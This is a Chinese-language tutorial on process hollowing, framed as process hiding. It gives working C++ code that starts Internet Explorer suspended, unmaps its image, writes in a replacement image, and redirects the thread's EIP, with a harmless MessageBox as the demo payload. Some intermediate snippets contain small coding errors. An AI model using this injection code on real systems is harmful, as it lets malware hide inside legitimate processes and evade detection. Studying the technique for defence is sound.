傀儡進程的分析與實現
前言對于進程隱藏技術有很多種實現方式,本文就對傀儡進程進行分析及實現。
基礎知識掛起方式創建進程我們知道如果進程創建之后會在內存空間進行拉伸,那么我們如果需要寫入shellcode,只能在程序運行之前寫入,因為當程序運行起來之后是不能夠進行操作的。但是有一個例外,如果我們以掛起模式創建進程,寫入shellcode到內存空間,再恢復進程,也能夠達到同樣的效果。
我們知道創建進程用到CreateProcess這個函數,首先看下結構
BOOL CreateProcess( LPCTSTR lpApplicationName, // 應用程序名稱 LPTSTR lpCommandLine, // 命令行字符串 LPSECURITY_ATTRIBUTES lpProcessAttributes, // 進程的安全屬性 LPSECURITY_ATTRIBUTES lpThreadAttributes, // 線程的安全屬性 BOOL bInheritHandles, // 是否繼承父進程的屬性 DWORD dwCreationFlags, // 創建標志 LPVOID lpEnvironment, // 指向新的環境塊的指針 LPCTSTR lpCurrentDirectory, // 指向當前目錄名的指針 LPSTARTUPINFO lpStartupInfo, // 傳遞給新進程的信息 LPPROCESS_INFORMATION lpProcessInformation // 新進程返回的信息 );
其中以掛起方式創建進程與兩個參數有關,分別是第三個參數和第四個參數
lpProcessAttributes
為CreateProcess結構中的第三個成員,指向SECURITY_ATTRIBUTES結構的一個指針,用來設置進程句柄能否被繼承,若設置為NULL,則在句柄表中的值為0,進程句柄不能夠被子進程繼承
typedef struct _SECURITY_ATTRIBUTES {
DWORD nLength; //結構體的大小
LPVOID lpSecurityDescriptor; //安全描述符
BOOL bInheritHandle; //指定返回的句柄是否被繼承
} SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES;
lpThreadAttributes
為CreateProcess結構中的第四個成員,指向SECURITY_ATTRIBUTES結構的一個指針,用來設置線程句柄能否被繼承,若設置為NULL,則在句柄表中的值為0,線程句柄不能夠被子進程繼承
typedef struct _SECURITY_ATTRIBUTES {
DWORD nLength; //結構體的大小
LPVOID lpSecurityDescriptor; //安全描述符
BOOL bInheritHandle; //指定返回的句柄是否被繼承
} SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES;
那么這里驗證一下掛起進程之后就不能夠對進程進行操作
父進程代碼,創建一個ie瀏覽器的進程并調用CreateProcess創建子進程
// win32 create process3.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <windows.h>
int main(int argc, char* argv[])
{
char szBuffer[256] = {0};
char szHandle[8] = {0};
SECURITY_ATTRIBUTES ie_sa_p;
ie_sa_p.nLength = sizeof(ie_sa_p);
ie_sa_p.lpSecurityDescriptor = NULL;
ie_sa_p.bInheritHandle = TRUE;
SECURITY_ATTRIBUTES ie_sa_t;
ie_sa_t.nLength = sizeof(ie_sa_t);
ie_sa_t.lpSecurityDescriptor = NULL;
ie_sa_t.bInheritHandle = TRUE;
//創建一個可以被繼承的內核對象,此處是個進程
STARTUPINFO ie_si = {0};
PROCESS_INFORMATION ie_pi;
ie_si.cb = sizeof(ie_si);
TCHAR szCmdline[] =TEXT("c://program files//internet explorer//iexplore.exe");
CreateProcess(
NULL,
szCmdline,
&ie_sa_p,
&ie_sa_t,
TRUE,
CREATE_NEW_CONSOLE,
NULL,
NULL, &ie_si, &ie_pi);
//組織命令行參數
sprintf(szHandle,"%x %x",ie_pi.hProcess,ie_pi.hThread);
sprintf(szBuffer,"C:/project/win32 create process4/Debug/win32 create process4.exe %s",szHandle);
//定義創建進程需要用的結構體
STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
si.cb = sizeof(si);
//創建子進程
BOOL res = CreateProcess(
NULL,
szBuffer,
NULL,
NULL,
TRUE,
CREATE_NEW_CONSOLE,
NULL,
NULL, &si, &pi);
return 0;
}
子進程代碼如下,這里獲取到子進程的句柄之后,使用SuspendThread掛起進程,等待5s后使用ResumeThread恢復進程
// win32 create process4.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <windows.h>
int main(int argc, char* argv[])
{
DWORD dwProcessHandle = -1;
DWORD dwThreadHandle = -1;
char szBuffer[256] = {0};
memcpy(szBuffer,argv[1],8);
sscanf(szBuffer,"%x",&dwProcessHandle);
memset(szBuffer,0,256);
memcpy(szBuffer,argv[2],8);
sscanf(szBuffer,"%x",&dwThreadHandle);
printf("獲取IE進程、主線程句柄\n");
Sleep(5000);
//掛起主線程
printf("掛起主線程\n");
::SuspendThread((HANDLE)dwThreadHandle);
Sleep(5000);
//恢復主線程
::ResumeThread((HANDLE)dwThreadHandle);
printf("恢復主線程\n");
Sleep(5000);
//關閉ID進程
::TerminateProcess((HANDLE)dwProcessHandle,1);
::WaitForSingleObject((HANDLE)dwProcessHandle, INFINITE);
printf("ID進程已經關閉.....\n");
char szBuffer[256] = {0};
GetCurrentDirectory(256,szBuffer);
printf("%s\n",szBuffer);
getchar();
return 0;
}
這里看下實驗效果,可以看到掛起主線程時候,ie瀏覽器是點不動的,恢復主線程之后又可以正常運行,那么我們嘗試使用掛起模式啟動一個進程

以掛起模式啟動進程,只需要改一個地方,就是CreateProcess的第六個成員,設置為CREATE_SUSPENDED(非活動狀態)即可,掛起之后使用ResumeThread恢復執行
// win32 create process3.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <windows.h>
int main(int argc, char* argv[])
{
STARTUPINFO ie_si = {0};
PROCESS_INFORMATION ie_pi;
ie_si.cb = sizeof(ie_si);
TCHAR szBuffer[256] = "C:\\Documents and Settings\\Administrator\\桌面\\notepad.exe";
CreateProcess(
NULL,
szBuffer,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&ie_si,
&ie_pi
);
//恢復執行
ResumeThread(ie_pi.hThread);
return 0;
}
實現效果如下,這里使用掛起模式創建notepad,可以看到任務管理器里面已經有了這個進程,但是還沒有顯示出來,使用ResumeThread恢復執行之后就是一個正常的進程

實現過程知道了以掛起模式啟動進程,我們整理下思路。首先我們以掛起形式創建進程,創建進程過后我們的目的是寫入shellcode,那么就要自己申請一塊可讀可寫的區域內存放我們的shellcode,然后再恢復主線程,將函數入口指向我們的shellcode即可,當然這只是一個demo,具體細節還需要具體優化。
這里我使用了一個內核apiZwUnmapViewOfSection,用來清空之前內存里面的數據
那么首先我們把創建進程這部分寫一個單獨的函數
使用CREATE_SUSPENDED掛起創建進程的方式
CreateProcessW(NULL,wszIePath,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);
再寫一個if語句判斷進程創建是否成功,這里我創建的進程還是IE,完整代碼如下
BOOL CreateIEProcess()
{
wchar_t wszIePath[] = L"C:\\Program Files\\Internet Explorer\\iexplore.exe";
STARTUPINFO si = { 0 };
si.cb = sizeof(si);
BOOL bRet;
x CreateProcessW(NULL,wszIePath,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);
if (bRet)
{
printf("Create IE successfully!\n\n");
}
else
{
printf("Create IE failed\n\n");
}
return bRet;
}
然后使用內核apiZwUnmapViewOfSection卸載創建這個基質內存空間的數據,這里先看下ZwUnmapViewOfSection的結構
NTSTATUS ZwUnmapViewOfSection(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress );
這個函數在wdm.h里面聲明,那我們使用ntdll.dll將這個api加載進來
ZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwUnmapViewOfSection");
然后使用GetModuleHandleA獲取模塊基址
HMODULE hModuleBase = GetModuleHandleA(NULL);
使用GetCurModuleSize獲取映像大小
DWORD dwImageSize = GetCurModuleSize((DWORD)hModuleBase);
每個線程內核對象都維護著一個CONTEXT結構,里面保存了線程運行的狀態,線程也就是eip, 這樣可以使CPU可以記得上次運行該線程運行到哪里了,該從哪里開始運行,所以我們要先獲取線程上下文的狀態,使用到GetThreadContext
Thread.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS; GetThreadContext(pi.hThread, &Thread);
下一步我們需要知道程序的基址,這里我用到PEB結構和ReadProcessMemory來獲取,首先看下PEB的結構
root> dt_peb nt!_PEB +0x000 InheritedAddressSpace : UChar +0x001 ReadImageFileExecOptions : UChar +0x002 BeingDebugged : UChar +0x003 BitField : UChar +0x003 ImageUsesLargePages : Pos 0, 1 Bit +0x003 SpareBits : Pos 1, 7 Bits +0x004 Mutant : Ptr32 Void +0x008 ImageBaseAddress : Ptr32 Void
ImageBaseAddress在+0x008這個位置,所以這個地方ReadProcessMemory的參數就是PEB+8
DWORD GetRemoteProcessImageBase(DWORD dwPEB)
{
DWORD dwBaseAddr;
ReadProcessMemory(pi.hProcess, (LPVOID)(dwPEB + 8), &dwBaseAddr, sizeof(DWORD), NULL);
return dwBaseAddr;
}
使用ZwUnmapViewOfSection來卸載空間數據
ZwUnmapViewOfSection(pi.hProcess, (LPVOID)dwRemoteImageBase);
卸載完空間數據之后,用VirtualAllocEx重新為我們創建的進程申請一塊空間
VirtualAllocEx(pi.hProcess, hModuleBase,dwImageSize,MEM_RESERVE | MEM_COMMIT,PAGE_EXECUTE_READWRITE);
然后使用WriteProcessMemory寫入
WriteProcessMemory(pi.hProcess, hModuleBase, hModuleBase, dwImageSize, NULL);
在寫入完成之后使用GetThreadContext,設置獲取標志為 CONTEXT_FULL,即獲取新進程中所有的線程上下文
ThreadCxt.ContextFlags = CONTEXT_FULL;
然后修改eip指向我們自己的函數地址,這里寫一個MessageBox
DWORD GetNewOEP()
{
return (DWORD)MessageBox;
}
void MessageBox()
{
MessageBoxA(0, "Inject successfully", "", 0);
}
Threadna.Eip = GetNewOEP();
完整代碼如下
#include <windows.h>
#include <tchar.h>
#include <iostream>
using namespace std;
typedef long NTSTATUS;
typedef NTSTATUS(__stdcall* pfnZwUnmapViewOfSection)(
IN HANDLE ProcessHandle,
IN LPVOID BaseAddress
);
pfnZwUnmapViewOfSection ZwUnmapViewOfSection;
PROCESS_INFORMATION pi = { 0 };
BOOL CreateEXE()
{
wchar_t wszIePath[] = L"C:\\Program Files\\Internet Explorer\\iexplore.exe";
STARTUPINFO si = { 0 };
si.cb = sizeof(si);
BOOL bRet;
bRet = CreateProcessW(NULL,wszIePath,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);
if (bRet)
{
printf("[*] Create process successfully!\n\n");
}
else
{
printf("[!] Create process failed\n\n");
}
return bRet;
}
DWORD GetCurModuleSize(DWORD dwModuleBase)
{
PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)dwModuleBase;
PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)(dwModuleBase + pDosHdr->e_lfanew);
return pNtHdr->OptionalHeader.SizeOfImage;
}
DWORD GetRemoteProcessImageBase(DWORD dwPEB)
{
DWORD dwBaseRet;
ReadProcessMemory(pi.hProcess, (LPVOID)(dwPEB + 8), &dwBaseRet, sizeof(DWORD), NULL);
return dwBaseRet;
}
void Mess()
{
MessageBoxA(0, "Inject successfully", "", 0);
}
DWORD GetNewOEP()
{
return (DWORD)Mess;
}
int _tmain(int argc, _TCHAR* argv[])
{
ZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwUnmapViewOfSection");
printf("[*] ZwUnmapViewOfSection address is : 0x%08X\n\n", ZwUnmapViewOfSection);
if (!ZwUnmapViewOfSection)
{
printf("[!] ZwUnmapViewOfSection failed\n\n");
exit(1);
}
if (!CreateEXE())
{
printf("[!] Create Process failed\n\n");
exit(1);
}
printf("[*] The process PID is : %d\n\n", pi.dwProcessId);
HMODULE hModuleBase = GetModuleHandleA(NULL);
DWORD dwImageSize = GetCurModuleSize((DWORD)hModuleBase);
CONTEXT Thread;
Thread.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS;
GetThreadContext(pi.hThread, &Thread);
DWORD dwRemoteImageBase = GetRemoteProcessImageBase(Thread.Ebx);
ZwUnmapViewOfSection(pi.hProcess, (LPVOID)dwRemoteImageBase);
LPVOID lpAllocAddr = VirtualAllocEx(pi.hProcess, hModuleBase, dwImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (lpAllocAddr)
{
printf("[*] VirtualAllocEx successfully!\n\n");
}
else
{
printf("[!] VirtualAllocEx failed\n\n");
return FALSE;
}
if (NULL == ::WriteProcessMemory(pi.hProcess, hModuleBase, hModuleBase, dwImageSize, NULL))
{
printf("[!] WriteProcessMemory failed\n\n");
return FALSE;
}
else
{
printf("[*] WriteProcessMemory successfully!\n\n");
}
Thread.ContextFlags = CONTEXT_FULL;
Thread.Eip = GetNewOEP();
SetThreadContext(pi.hThread, &Thread);
if (-1 == ResumeThread(pi.hThread))
{
printf("[!] ResumeThread failed\n\n");
return FALSE;
}
else
{
printf("[*] ResumeThread successfully!\n\n");
}
}
實現效果到這我們的函數就已經成功了,運行一下彈出了messagebox,證明修改eip成功
